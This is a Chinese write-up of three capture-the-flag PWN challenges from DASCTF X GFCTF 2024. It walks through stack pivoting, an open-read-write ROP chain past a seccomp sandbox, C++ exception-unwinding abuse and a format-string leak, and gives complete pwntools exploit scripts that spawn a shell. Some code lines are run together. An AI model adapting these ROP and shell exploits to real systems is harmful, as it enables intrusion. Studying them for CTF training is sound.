DASCTF X GFCTF 2024|四月开启第一局[PWN] wp(详解)

1.dynamic_but_static

题目保护情况

64位程序,没有开canary和pie保护,got表可改

64位ida载入

看一下沙箱保护,不能直接execve('/bin/sh')获取shell,也就是需要orw形式读取flag

栈上有溢出,好在都没有过滤这些gadget和地址

思路:1.通过栈溢出泄露出libc地址

     2.为了防止过滤和溢出部分不够的情况,将栈迁移到bss段上执行我们的orw

     3.题目给的libc和远程有点不一样,但是偏移是固定的,找一下就好了(主要是open的地址)

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux') #io = process('./dynamic_but_static')
io = remote('node5.buuoj.cn',26153)
libc = ELF('./libcc.so.6') pop_rdi = 0x0000000000401381 #: pop rdi ; ret ret = 0x000000000040101a read_got = 0x404040
puts_plt = 0x4010D0
main_addr = 0x401386 payload = b'a'*0x38 + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main_addr) io.sendline(payload)
read_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('read_addr----->'+hex(read_addr))
libc_base = read_addr - libc.sym.read -0x3e0
success('libc_base----->'+hex(libc_base))
bss_addr = 0x404060 + 0x240 open_addr = libc_base + 0x1146d0
pop_rax = 0x045eb0 + libc_base#: pop rax ; ret
pop_rsi = 0x2be51 + libc_base #: pop rsi ; ret
pop_rdx = 0x0796a2 + libc_base # pop_rdx
pop_rbp = 0x4011ed
syscall=libc_base + 0x114059 leave_ret = 0x401482
payload = b'a'*0x38 + p64(pop_rdi)+ p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x500) + p64(read_addr)
payload += p64(pop_rbp) + p64(bss_addr) + p64(leave_ret)
io.sendline(payload)
sleep(0.5) payload = b'./flag\x00\x00' + p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(open_addr)
payload += p64(ret)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss_addr+0x200) + p64(pop_rdx) + p64(0x50) + p64(read_addr) + p64(ret)
payload += p64(pop_rdi) + p64(bss_addr+0x200) + p64(puts_plt) io.sendline(payload)

2.Control

题目保护情况

64位程序canary保护开启,pie没有开

64位ida载入

main函数,程序是静态编译,一开始向gift上面读取内容

接着有一个明显的溢出,随之而来的还有一个try/catch异常处理,当输入的字节数大于96时会抛出异常

那么我们就不要修改read之后的返回地址了,因为程序定位 catch 段是依靠 ret 的地址,如果修改了ret的地址那么就会报错

思路:1.既然不能改返回地址那么就进行栈迁移,如果异常被上一个函数的catch捕获,那么上个函数的rbp就会变成上这个函数的rbp,所以我们控制rbp实现迁移。

     2.通过迁移到bss段上的gift(因为一开始我们可以对gift处地址进行输入),由于ebx被赋值为0了,所以要找一个合适的gadget来帮rdx赋值

              3.找到一个很好的gadget(0x446200)mov     rdx, [rsi-8]经过调试,得到是把rdx的值赋值为0x91

              4.返回0x402221处刚刚好把rsi赋值为gift,而且可以进行读入操作,然后正常系统调用system拿到shell

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux') io = process('./control') pop_rdi=0x401c72
pop_rsi=0x405285
pop_rdx=0x401aff
pop_rax=0x462c27 syscall=0x40161e
ret = 0x402237
gift_addr = 0x4D3350
read_addr = 0x402221
mov_rdx = 0x446200 io.recvuntil('Gift>')
io.send(p64(mov_rdx) + p64(read_addr)) io.recvuntil('control?')
payload = b'a'* 0x70 + p64(gift_addr - 0x8) + p64(ret)
#gdb.attach(io)
io.send(payload) payload = p64(0) + p64(pop_rdi)+p64(gift_addr+0x50) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3b)
payload += p64(syscall) + b'/bin/sh\x00'
#gdb.attach(io)
io.send(payload) io.interactive()

3.Exception

题目保护情况 保护全开

64位ida载入

main函数里面有格式化字符串漏洞,也就是,elf基地址,libc基地址,和canary都可以泄露

同样是抛出异常进行处理,不同的是这题给了buf地址,不能修改vuln函数之后的返回地址,但是因为知道buf地址,进而知道main函数的返回地址,修改main函数的返回地址。

思路:1.通过printf格式化字符串漏洞泄露,elf,libc,canary

     2.在main函数返回地址布置rop链,并在vuln函数输入时覆盖到rbp,进行迁移到main函数返回地址执行rop链

EXP:

from pwn import *
context(log_level='debug',arch='amd64',os='linux') #io = process('./exception')
io = remote('node5.buuoj.cn',25512)
io.recvuntil('your name')
libc = ELF('./exception.so.6')
payload = '%3$paaaa%7$pbbbb%15$p' #gdb.attach(io)
io.sendline(payload)
io.recvuntil('\n')
read_addr = int(io.recv(14),16) - 18
success('read_addr---->'+hex(read_addr))
libc_base = read_addr - libc.sym['read']
success('libc_base---->'+hex(libc_base))
system = libc.sym['system'] + libc_base
binsh = libc.search('/bin/sh').__next__()+ libc_base
io.recvuntil('aaaa')
canary = int(io.recv(18),16)
success('canary----->'+hex(canary))
io.recvuntil('bbbb')
elf_base = int(io.recv(14),16) - 0x1360
success('elf_base----->'+hex(elf_base)) pause()
pop_rdi = libc_base + 0x0000000000023b6a #: pop rdi ; ret
ret = libc_base + 0x0000000000022679 #: ret
io.recvuntil('stack')
buf_addr = int(io.recv(16),16)
success('buf_addr------>'+hex(buf_addr))
rbp = buf_addr + 0xa0
success('rbp----->'+hex(rbp))
#gdb.attach(io)
pause()
io.recvuntil('exception?')
main_addr = elf_base + 0x1360
payload = b'a'*0x68+p64(canary) + p64(rbp) + p64(elf_base+0x1408) + p64(0) + p64(canary) + p64(0)*3 + p64(ret)
payload += p64(pop_rdi) + p64(binsh) + p64(system)
#gdb.attach(io) io.sendline(payload) io.interactive()

DASCTF X GFCTF 2024|四月开启第一局 [PWN]详解的更多相关文章

  1. 学会Git玩转GitHub(第一篇) 入门详解 - 精简归纳

    学会Git玩转GitHub(第一篇) 入门详解 - 精简归纳 JERRY_Z. ~ 2020 / 9 / 25 转载请注明出处!️ 目录 学会Git玩转GitHub(第一篇) 入门详解 - 精简归纳 ...

  2. 【转】apue《UNIX环境高级编程第三版》第一章答案详解

    原文网址:http://blog.csdn.net/hubbybob1/article/details/40859835 大家好,从这周开始学习apue<UNIX环境高级编程第三版>,在此 ...

  3. ASP.NET Core微服务 on K8S学习笔记(第一章:详解基本对象及服务发现)

    课程链接:http://video.jessetalk.cn/course/explore 良心课程,大家一起来学习哈! 任务1:课程介绍 任务2:Labels and Selectors 所有资源对 ...

  4. DevExpress控件使用方法:第一篇 gridControl详解

    GridControl (1)层次设计器 有五种视图模式,banded gridview多行表头,数据还是一行一组,最靠近数据的表头与数据一一对应:advanced banded gridview多行 ...

  5. Flask第一篇——URL详解

    原创 2018-02-14 孟船长 自动化测试实战 URL是Uniform Resource Locator的缩写,即统一资源定位符. 一个URL通常由一下几个部分组成: scheme://host: ...

  6. python应用:爬虫框架Scrapy系统学习第一篇——xpath详解

    HTML的三大概念:标签.元素以及属性 标签:尖括号中的文本       例:<head>……</head> 标签通常成对出现 元素:标签中的所有内容        元素中可包 ...

  7. koa2第一天 async详解

    一.什么是async    async其实是ES7的才有的关键字,放在这里说,其实是和我们前面所说的Promise,Generator有很大关联的.async的意思是"异步",顾名 ...

  8. iOS NSTimer使用详解 开启、关闭、移除

    定时器定时器详解ios定时器关闭定时器NSTimer 一,要使用一个定时器首先要定义一个定时器: @property (strong, nonatomic) NSTimer *myTimer;//定时 ...

  9. IIS负载均衡-Application Request Route详解第一篇: ARR介绍(转载)

    IIS负载均衡-Application Request Route详解第一篇: ARR介绍 说到负载均衡,相信大家已经不再陌生了,本系列主要介绍在IIS中可以采用的负载均衡的软件:微软的Applica ...

  10. IIS负载均衡-Application Request Route详解第一篇: ARR介绍

    IIS负载均衡-Application Request Route详解第一篇: ARR介绍 说到负载均衡,相信大家已经不再陌生了,本系列主要介绍在IIS中可以采用的负载均衡的软件:微软的Applica ...

随机推荐

  1. linux文本三剑客之awk详解

    linux文本三剑客之awk详解 目录 linux文本三剑客之awk详解 1.awk命令详解 1.1 awk的处理流程 1.2 awk中的变量 1.2.1 内置变量 1.2.2 自定义变量 1.3 a ...

  2. Arrays类的常用方法

    Arrays类的常用方法 Array数组的工具类java.util.Arrays Arrays类中的方法都是static修饰的静态方法,在使用的时候可以直接使用类名进行调用,而不用使用对象来调用 Ar ...

  3. C++ placement new学习

    通常创建对象使用new操作,但这样无法指定在具体某一块内存开辟空间创建对象.而如果 可以指定开辟空间的内存位置,我们可以编写内存池高效的复用同一个内存位置,这样可以避免系统频繁申请可用内存 所占用的时 ...

  4. C++:面向对象

    文章目录 继承与多态 继承 继承的构造与析构 虚继承 多态 ❀虚/纯虚函数❀ 虚析构/纯虚析构 对象的生命周期 实例化对象 构造函数与析构函数 拷贝构造函数 防止拷贝 总结 深拷贝与浅拷贝 初始化列表 ...

  5. 基于uniapp+vue3自定义增强版table表格组件「兼容H5+小程序+App端」

    vue3+uniapp多端自定义table组件|uniapp加强版综合表格组件 uv3-table:一款基于uniapp+vue3跨端自定义手机端增强版表格组件.支持固定表头/列.边框.斑马纹.单选/ ...

  6. C#复杂类型转为QueryString

    使用 visual studio 创建 webapi 项目,并添加 DefaultController.cs,代码如下 public class DefaultController : ApiCont ...

  7. WPF 制作高性能的透明背景异形窗口(使用 WindowChrome 而不要使用 AllowsTransparency=True)

    在 WPF 中,如果想做一个背景透明的异形窗口,基本上都要设置 WindowStyle="None".AllowsTransparency="True" 这两个 ...

  8. 将mnist训练的caffemodel生成动态链接库DLL

    在项目程序中经常看到动态链接库,非常好奇,想自己实现一下,于是乎尝试一波.就因为这种好奇,每天都被bug所困扰... 1. 训练caffemodel 在windows环境下搭建caffe无果,转投Ub ...

  9. sort awk 文本处理命令

    sort: 1.将文件的每一行作为一个单位,相互比较 2.默认升序 3.以字符来进行对比,从首字符开始往后,依次按ASCII码值排序 sort 显示文件内容 (类似cat) 选项: -u 去掉重复行 ...

  10. JavaScript语法形式3 外链式

      定义 script 标签,在 script 标签中,通过src属性导入外部js文件,并且加载执行外部js文件中国的程序代码内容 因为代码执行顺序问题,一般定义 script 标签 在 body标签 ...